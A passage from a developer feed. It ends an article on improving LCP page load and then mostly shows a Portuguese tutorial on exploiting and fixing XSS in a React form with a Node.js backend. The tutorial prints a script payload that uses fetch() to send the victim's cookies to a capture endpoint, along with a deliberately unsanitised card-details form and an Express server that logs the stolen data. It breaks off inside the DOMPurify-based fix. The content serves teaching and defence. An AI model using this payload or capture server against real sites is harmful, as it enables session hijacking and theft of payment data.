&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;Acabe com os Obstáculos à Exibição (CSS e JavaScript)
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"CSS e JavaScript volumosos podem atrasar a exibição inicial."  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Minifique e Comprima: Diminua o tamanho dos arquivos.  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Critical CSS: Inclua o CSS essencial no &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;.  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;async&lt;/code&gt; e &lt;code&gt;defer&lt;/code&gt;: Carregue JavaScript sem causar bloqueios.  &lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;HTML&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;link rel="stylesheet" href="estilos-essenciais.css"&amp;gt;  
&amp;lt;link rel="stylesheet" href="estilos-restantes.css" media="print" onload="this.media='all'"&amp;gt;  
&amp;lt;script src="analytics.js" async&amp;gt;&amp;lt;/script&amp;gt;  
&amp;lt;script src="script.js" defer&amp;gt;&amp;lt;/script&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;V. Conclusão: LCP Ágil, Satisfação do Usuário!  &lt;/p&gt;

&lt;p&gt;"Aprimorar o LCP é essencial para uma ótima impressão inicial. Use estas sugestões e impulsione seu site!"  &lt;/p&gt;

&lt;p&gt;Links e Referências: &lt;br&gt;
&lt;a href="https://web.dev/lcp/" rel="noopener noreferrer"&gt;https://web.dev/lcp/&lt;/a&gt;&lt;br&gt;
&lt;a href="https://developers.google.com/speed/webp" rel="noopener noreferrer"&gt;https://developers.google.com/speed/webp&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>corewebvitals</category>
      <category>performance</category>
      <category>frontend</category>
    </item>
    <item>
      <title>Explorando e Mitigando XSS em Formulários com React e Node.js</title>
      <dc:creator>Lucas Rocha</dc:creator>
      <pubDate>Sun, 30 Mar 2025 14:43:09 +0000</pubDate>
      <link>https://forem.com/santoslucas11/explorando-e-mitigando-xss-em-formularios-com-react-e-nodejs-dmd</link>
      <guid>https://forem.com/santoslucas11/explorando-e-mitigando-xss-em-formularios-com-react-e-nodejs-dmd</guid>
      <description>&lt;p&gt;🚨&lt;code&gt;Antes de começar aproveito para lembrar que estou isento de quaisquer responsabilidades sobre o mau uso dos tópicos abordados nesse artigo, essa poc foi criada exclusivamente para fins acadêmicos.&lt;/code&gt;🚨&lt;/p&gt;

&lt;p&gt;A segurança na web é um tema essencial para qualquer desenvolvedor. Um dos ataques mais comuns e perigosos é o &lt;strong&gt;Cross-Site Scripting (XSS)&lt;/strong&gt;, que permite a injeção de scripts maliciosos em aplicações web. Neste artigo, vamos explorar como uma aplicação vulnerável pode ser explorada e como podemos mitigar esses ataques.&lt;/p&gt;

&lt;h2&gt;
  
  
  🚨 Como Funciona um Ataque XSS?
&lt;/h2&gt;

&lt;p&gt;O ataque XSS ocorre quando um invasor injeta código JavaScript malicioso em um site, explorando a falta de sanitização de entradas do usuário. Se a aplicação renderizar essa entrada diretamente no HTML sem validação, o código malicioso será executado no navegador da vítima.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exemplo de Exploração XSS
&lt;/h3&gt;

&lt;p&gt;Um atacante pode inserir um código como este em um campo de formulário:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://localhost:4000/capture-cookies?cookie=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Se a aplicação não tratar corretamente essa entrada, o código será executado e enviará os cookies da vítima para o servidor do atacante.&lt;/p&gt;

&lt;h2&gt;
  
  
  🛠 Criando um Formulário Vulnerável
&lt;/h2&gt;

&lt;p&gt;Vamos criar um formulário em React que está &lt;strong&gt;vulnerável a XSS&lt;/strong&gt;. Esse formulário captura dados do usuário e exibe um alerta com as informações inputadas.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;use client&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ChangeEvent&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;VulnerableCardFormComponent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;FC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setInputs&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;cardNumber&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;cardHolderName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;expirationDate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;cvvCvc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;address&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handleChange&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="na"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ChangeEvent&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLInputElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;setInputs&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;prevInputs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;prevInputs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}));&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handleSubmit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Dados Inputados:\n&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Vulnerable Form&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;onChange&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;handleChange&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;placeholder&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Email"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"cardNumber"&lt;/span&gt; &lt;span class="na"&gt;onChange&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;handleChange&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;placeholder&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Card Number"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"address"&lt;/span&gt; &lt;span class="na"&gt;onChange&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;handleChange&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;placeholder&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Endereço"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;handleSubmit&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Submit&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;VulnerableCardFormComponent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esse formulário &lt;strong&gt;não sanitiza os inputs&lt;/strong&gt;, permitindo a execução de código JavaScript malicioso.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔥 Criando um Servidor para Capturar os Dados
&lt;/h2&gt;

&lt;p&gt;Agora, vamos configurar um &lt;strong&gt;servidor Node.js&lt;/strong&gt; que simula o papel do atacante, capturando os cookies e os dados do formulário enviados pelo código malicioso.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;express&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;bodyParser&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;body-parser&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;cors&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cors&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;express&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bodyParser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;cors&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/capture-cookies&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Dados Capturados:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Dados Recebidos&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Servidor rodando em http://localhost:&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;port&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com esse servidor rodando, qualquer requisição feita para &lt;strong&gt;&lt;a href="http://localhost:4000/capture-cookies" rel="noopener noreferrer"&gt;http://localhost:4000/capture-cookies&lt;/a&gt;&lt;/strong&gt; será registrada no console.&lt;/p&gt;

&lt;h2&gt;
  
  
  🛡 Mitigando o Ataque com Sanitização e Criptografia
&lt;/h2&gt;

&lt;p&gt;Agora, vamos corrigir as vulnerabilidades e criar um formulário seguro.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ChangeEvent&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dompurify&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;SecureCardFormComponent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;FC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setInputs&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;cardNumber&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;cardHolderName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;expirationDate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;cvvCvc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;address&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handleChange&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="na"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ChangeEvent&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLInputElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;setInputs&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;prevInputs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;prevInputs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;}));&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handleSubmit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Dados Seguros:\n&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Secure Form&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
